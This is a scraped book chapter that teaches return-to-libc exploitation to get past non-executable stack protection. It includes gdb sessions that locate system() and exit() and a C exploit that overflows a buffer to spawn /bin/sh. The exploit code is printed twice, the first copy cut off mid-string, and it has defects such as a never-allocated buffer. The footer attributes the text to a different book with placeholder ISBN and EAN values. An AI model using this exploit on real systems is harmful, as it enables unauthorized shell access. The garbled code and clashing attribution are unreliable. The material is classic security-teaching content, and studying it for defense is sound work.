Defeating a Non-Executable Stack

The previous exploit works because we can execute instructions on the stack. As a protection against this, many operating systems such as Solaris, OpenBSD, and likely Windows in the near future will not allow programs to execute code on the stack. This protection will break any type of exploit that relies on code to executed on the stack.

As you may have already guessed, we don't necessarily have to execute code on the stack. It is simply an easier, better-known, and more reliable method of exploiting programs. When you do encounter a non-executable stack, you can use an exploitation method known as Return to libc. Essentially, we will make use of the ever-popular and ever-present libc library to export our system calls to the libc library. This will make exploitation possible when the target stack is protected.

Return to libc

So, how does Return to libc actually work? From a high level, assume for the sake of simplicity that we already have control of EIP . We can put whatever address we want executed in to EIP; in short, we have total control of program execution via some sort of vulnerable buffer.

Instead of returning control to instructions on the stack, as in a traditional stack buffer overflow exploit, we will force the program to return to an address that corresponds to a specific dynamic library function. This dynamic library function will not be on the stack, meaning we can circumvent any stack execution restrictions. We will carefully choose which dynamic library function we return to; ideally , we want two conditions to be present:

  • It must be a common dynamic library, present in most programs.

  • The function within the library should allow us as much flexibility as possible so that we can spawn a shell or do whatever we need to do.

The library that satisfies both of these conditions best is the libc library. libc is the standard C library; it contains just about every common C function that we take for granted. By nature, all the functions in the library are shared (this is the definition of a function library), meaning that any program that includes libc will have access to these functions. You can see where this is going ”if any program can access these common functions, why couldn't one of our exploits? All we have to do is direct execution to the address of the library function we want to use (with the proper arguments to the function, of course), and it will be executed.

For our Return to libc exploit, let's keep it simple at first and spawn a shell. The easiest libc function to use is system(); for the purposes of this example, all it does is take in an argument and then execute that argument with /bin/sh . So, we supply system() with /bin/sh as an argument, and we will get a shell. We aren't going to execute any code on the stack; we will jump right out to the address of system() function with the C library.

A point of interest is how to get the argument to system() . Essentially, what we do is pass a pointer to the string ( bin/sh ) we want executed. We know that normally when a program executes a function (in this example, we'll use the_function as the name ), the arguments get pushed onto the stack in reverse order. It is what happens next that is of interest to us and will allow us to pass parameters to system() .

First, a CALL the_function instruction is executed. This CALL will push the address of the next instruction (where we want to return to) onto the stack. It will also decrement ESP by 4. When we return from the_function , RET (or EIP ) will be popped off the stack. ESP is then set to the address directly following RET .

Now comes the actual return to system() . the_function assumes that ESP is already pointing to the address that should be returned to. It is going to also assume that the parameters are sitting there waiting for it on the stack, starting with the first argument following RET . This is normal stack behavior. We set the return to system() and the argument (in our example, this will be a pointer to /bin/sh ) in those 8 bytes. When the_function returns, it will return (or jump, depending on how you look at the situation) into system() , and system() has our values waiting for it on the stack.

Now that you understand the basics of the technique, let's take a look at the preparatory work we must accomplish in order to make a Return to libc exploit:

  1. Determine the address of system() .

  2. Determine the address of /bin/sh .

  3. Find the address of exit() , so we can close the exploited program cleanly.

The address of system() can be found within libc by simply disassembling any C++ program. gcc will include libc by default when compiling, so we can use the following simple program to find the address of system() .

 int main()      {      } 

Now, let's find the address of system() with gdb.

 [root@0day local]# gdb file (gdb) break main Breakpoint 1 at 0x804832e (gdb) run Starting program: /usr/local/book/file     Breakpoint 1, 0x0804832e in main () (gdb) p system  = {<text variable, no debug info>} 0x4203f2c0 <system> (gdb) 

We see the address of system() is at 0x4203f2c0 . Let's also find the address exit() .

 [root@0day local]# gdb file (gdb) break main Breakpoint 1 at 0x804832e (gdb) run Starting program: /usr/local/book/file     Breakpoint 1, 0x0804832e in main () (gdb) p exit  = {<text variable, no debug info>} 0x42029bb0 <exit> (gdb) 

The address of exit() can be found at 0x42029bb0 . Finally, to get the address of /bin/sh we can use the memfetch tool found at http://lcamtuf.coredump.cx/ . memfetch will dump everything in memory for a specific process; simply look through the binary files for the address of /bin/sh . Alternatively, you can store the /bin/sh in an environment variable, and then get the address of this variable.

Finally, we can craft our exploit for the original program ”a very simple, short, and sweet exploit. We need to

  1. Fill the vulnerable buffer up to the return address with garbage data

  2. Overwrite the return address with the address of system()

  3. Follow system() with the address of exit()

  4. Append the address of /bin/sh

Let's do it with the following code:

 #include <stdlib.h> #define offset_size                    0 #define buffer_size                    600     char sc[] =   "\xc0\xf2\x03\x42" //system()    "\x02\x9b\xb0\x42" //exit()   "\xa0\x8a\xb2\x42" //binsh     unsigned long find_start(void) {    __asm__("movl %esp,%eax"); }     int main(int argc, char *argv[])  {   char *buff, *ptr;   long *addr_ptr, addr;   int offset=offset_size, bsize=buffer_size;   int i;       if (argc > 1) bsize  = atoi(argv[1]);   if (argc > 2) offset = atoi(argv[2]);       addr = find_start() - offset;   ptr = buff;   addr_ptr = (long *) ptr;   for (i = 0; i < bsize; i+=4)        *(addr_ptr++) = addr;       ptr += 4;       for (i = 0; i < strlen(sc); i++)           *(ptr++) = sc[i];       buff[bsize - 1] = ' 
 #include <stdlib.h> #define offset_size 0 #define buffer_size 600 char sc[] = "\xc0\xf2\x03\x42" //system() "\x02\x9b\xb0\x42" //exit() "\xa0\x8a\xb2\x42" //binsh unsigned long find_start(void) { __asm__("movl %esp,%eax"); } int main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset=offset_size, bsize=buffer_size; int i; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); addr = find_start() - offset; ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr += 4; for (i = 0; i < strlen(sc); i++) *(ptr++) = sc[i]; buff[bsize - 1] = '\0'; memcpy (buff,"BUF=",4); putenv(buff); system("/bin/bash"); } 
'; memcpy(buff,"BUF=",4); putenv(buff); system("/bin/bash"); }


The Shellcoder's Handbook. Discovering and Exploiting Security
Hacking Ubuntu: Serious Hacks Mods and Customizations (ExtremeTech)
ISBN: N/A
EAN: 2147483647
Year: 2003
Pages: 198
Authors: Neal Krawetz

flylib.com © 2008-2017.
If you may any questions please contact us: flylib@qtcs.net